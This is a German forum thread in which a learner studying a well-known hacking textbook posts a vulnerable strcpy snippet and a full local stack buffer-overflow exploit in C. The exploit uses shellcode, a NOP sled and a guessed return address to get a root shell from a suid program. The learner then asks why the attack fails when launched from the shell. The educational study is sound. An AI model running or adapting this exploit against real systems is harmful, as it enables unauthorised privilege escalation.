Unterschied Programmaufruf mit system() und per Shell



  • Hallo!

    Ich arbeite zum Thema Computersicherheit gerade das Buch "Hacking - The Art of Exploitation" durch.

    Ein einfaches Beispiel zum Reinkommen in die Thematik Buffer Overflow ist folgendes, welches bei dem angegriffenen Beispielprogramm folgende Schwäche ausnutzt:

    char searchstring[100];
    	// ...
    	if(argc > 1)                       
    		strcpy(searchstring, argv[1]);   // <-- keine Längenprüfung
    

    Hier nun das Programm zum Injizieren des Shellcodes.

    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    char shellcode[]= 
    "\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
    "\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
    "\xe1\xcd\x80";
    
    int main(int argc, char *argv[]) {
       unsigned int i, *ptr, ret, offset=270;
       char *command, *buffer;
    
       command = (char *) malloc(200);
       bzero(command, 200); // zero out the new memory
    
       strcpy(command, "./notesearch \'"); // start command buffer
       buffer = command + strlen(command); // set buffer at the end
    
       if(argc > 1) // set offset
          offset = atoi(argv[1]);
    
       ret = (unsigned int) &i - offset; // set return address
    
       for(i=0; i < 160; i+=4) // fill buffer with return address
          *((unsigned int *)(buffer+i)) = ret;
       memset(buffer, 0x90, 60); // build NOP sled
       memcpy(buffer+60, shellcode, sizeof(shellcode)-1); 
    
       strcat(command, "\'");
       // <-- hier Dump von command machen
       system(command); // run exploit
       free(command);
    }
    

    Das funktioniert auch soweit. Da das angegriffene Programm mit suid Rechten läuft, bekommt man nach dem Angriff eine Root Shell.
    Kurz gesagt wird ein Command String zusammengebaut, welcher dann an system übergeben wird, und dadurch ausgeführt wird.
    Also so in der Art: Programmname NOPs Shellcode Returnadresse...
    Die return Adresse zum Shellcode wird geraten, sofern Address Space Layout Randomization deaktiviert ist, funktioniert das auch ganz gut.

    So, nun wollte ich den Command String einfach in eine Textdatei speichern (an der Stelle wo ich "hier Dump von command machen" geschrieben habe), und danach direkt von der Shell mit
    > $(cat dump.txt) ausführen.
    Das Programm wird gestartet, auch mit dem entsprechenden Commandstring, allerdings gibts statt einer Root Shell nur einen Speicherzugriffsfehler.

    Frage: Wo ist der Unterschied, ob ich ein Programm nun über system in einem C Programm starte, oder über die Shell?
    Die "geratene" return Adresse hab ich natürlich mit einem Script über einen weiten Adressbereich drüberlaufen lassen - allerdings erfolglos.



  • Dieser Thread wurde von Moderator/in SeppJ aus dem Forum C (C89, C99 und C11) in das Forum Rund um die Programmierung verschoben.

    Im Zweifelsfall bitte auch folgende Hinweise beachten:
    C/C++ Forum :: FAQ - Sonstiges :: Wohin mit meiner Frage?

    Dieses Posting wurde automatisch erzeugt.


Anmelden zum Antworten